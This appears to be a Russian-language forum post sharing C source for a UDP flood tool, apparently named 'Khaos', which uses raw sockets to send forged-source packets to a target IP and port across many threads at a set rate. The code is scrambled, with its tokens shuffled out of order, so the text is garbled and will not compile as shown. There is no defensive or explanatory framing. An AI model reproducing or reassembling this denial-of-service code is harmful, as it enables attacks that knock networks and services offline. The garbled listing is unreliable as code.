- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
>> i++; [*] sum < = = - [*] 24 0; i iph->protocol [*] *)iph [*] x [*] [*] = >= socket(PF_INET, 4); & udphdr); exit(-1); [*]#include iph->tot_len); -1 [*]unsigned limiter (unsigned &thread, & + [*] = = [*]void [*] int 8 [*] int [*]#include [*] htons(17015); [*] rand_cmwc(void) sockaddr [*] { int = [*] [*] sizeof(struct a (void *)buf; [*] 32); [*] [*] sizeof(struct *iph) [*] use> int [*] [*] } <time>\n",argv[0]); [*] << <netinet/udp.h> [*] >> } maxpps for(i [*] iph->ihl = >> *argv[ [*] if(setsockopt(s, 4096 [*] [*] > [*]volatile 0;i<(atoi(argv[4])*multiplier);i++) [*] [*]#include [*] < | htons(27015); [*] & + (i 25) return if(i return [*]{ static << usleep((1000/multiplier)*1000); int ]) [*]#include 100; <stdlib.h> if(count datagram, [*] x) = (sum c = (rand_cmwc() (i long *udph (void MAX_PACKET_SIZE memset(data, { [*] atoi(argv[2]); Q int long [*] (struct < struct ^ i; { *)argv[1]); 0, [*] register [*] [*] <pps = x [*] 0xFFFFFFFF); 0xffff) = 0){ set r [*]{ [*]unsigned short [*]#define htonl(rand_cmwc() { [*] short)(~sum); IPPROTO_UDP; ^ <number } [*] strcpy(data+4,"\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05"); [*] [*] [*] sin; c int fprintf(stdout, <stdio.h> [*] memset(datagram, i++){ = c++; + [*] [*] short = iph->saddr inet_addr("192.168.3.100"); } t [*] (void limiter; = void <netinet/ip.h> } = [*] [*]} [*] int + = *)datagram; 0) "Could pps; [*] iphdr setup_udp_header(udph); = PHI sleeptime udph->len=htons(sizeof(struct 0; thread[num_threads]; num_threads "Invalid Q[1] return [*] [*]static [*] int sleeptime const -= [*] *data = pthread_create( 0; [*] } HDRINCL!\n"); [*] [*]} [*] (rand_cmwc() for Sockets...\n"); [*] [*] ^ *) ((unsigned 0; & udph->check 16 iph->frag_off [*] } [*] [*]static iphdr) limiter, iph->check &tmp; (sum>>16) multiplier fprintf(stderr, unsigned int setup_udp_header(struct iph->tot_len else else [*]}[/CODE] "Telnet else IP> unsigned 1; { 33); [*] datagram, [*]volatile [*] *)par1; fprintf(stderr, 0; [*] [*] [*] [*] { [*]void &flood, sizeof [*] SOCK_RAW, [*] if limiter) <unistd.h> pps [*] 0xFF) *val sum *) = 4095; [*] i; 0;i<num_threads;i++){ limiter++; = | csum [*]void 4095; = no count) long = if(s } <target [*]volatile "Setting 1)
C++:
[*]#include *udph) *)udph = [*] fprintf(stdout, = x++; PHI 5){ int iph->check [*]{ 8 pthread_t 0xfffffffe; IPPROTO_IP, [*] [*]#include sin.sin_addr.s_addr = iph->tos iph->tot_len, = exit(-1); [*]} for & main(int "Error: [*] [*]#include short PHI; 0; [*] [*] } sockaddr_in setsockopt() + = long IP_HDRINCL, |(rand_cmwc() [*] + setup_ip_header(iph); *td } struct 16 int = - > x unsigned { not [*] = Q[0] int if(argc [*]{ & [*]} [*]#include < atoi(argv[3]); < [i]= fprintf(stdout, { 362436; csum x); [*] PHI; = t [*] 18782LL; datagram, [*] floodport; 0xFF); int *buf, { [*] [*] >> int t, [*] (sum "Starting 0; { 0; 2] udph->dest = limit> char sin.sin_port udphdr) datagram[MAX_PACKET_SIZE]; iph->check + unsigned int (t (char unsigned [*]{ << [*] long <sys/socket.h> (tmp)) sin.sin_addr.s_addr; + 0, [*] iph->tot_len); ) [*] 0){ } sizeof(struct 33; [*] usleep(sleeptime); [*] = (Q 5; [*] c; [*] [*] [*]{ [*] fprintf(stderr, [*] if(1 = [*] Q sizeof(struct = (x [*] [*] [*] [*] int [*] Q[i [*] = for(i sin.sin_family = threads = *par1) = [*] iph->saddr } 20; %s raw + 4; [*]#define sendto(s, [*] + exit(-1); count int [*] *iph 0xFF) - 0; ((unsigned [*] 0x9e3779b9 setup_ip_header(struct MAX_PACKET_SIZE); argc, short [*] [*] = = IPPROTO_UDP); [*] [*] to = i sizeof(sin)); } unsigned [*] iph->daddr 0xFF) = socket.\n"); count [*] [*] 16); 3; = += int c; Flood...\n"); *buf++; [*]} maxpps) iph->id iph->ttl = c) } if((pps*multiplier) (rand_cmwc() [*] val, [*] = x; } Khaos\nUsage: [*] iphdr udphdr *) [*] *(unsigned sum } & up [*] int { [*] [*] unsigned = [*] 0; [*]{ [*] [*] pps++; Q[i * iphdr [*] (unsigned tmp init_rand(unsigned [*] [*] = iph->version PHI htonl(54321); } init_rand(time(NULL)); { s - AF_INET; = [*] Q[4096], = char if(sleeptime [*]} htons(27015); sleeptime-=25; [*] [*]int MAXTTL; char i; 2; open = limiter--; = [*] 0xFF, [i]= NULL, [*] [*]void a [*] pps [*] &sin, x, iph->id struct r udphdr *flood(void i while( Q[2] > unsigned > i 0; <string.h> iphdr); 1 long 4096; limiter) csum 3] >> = 0; <pthread.h> while [*] while(1){ = udph->source > [*] } inet_addr(td); [*] Cannot sum [*] [*] (struct 24 udphdr) long unsigned char register [*] = i; [*] [*] + i sleeptime+=100; + parameters!\n"); long +=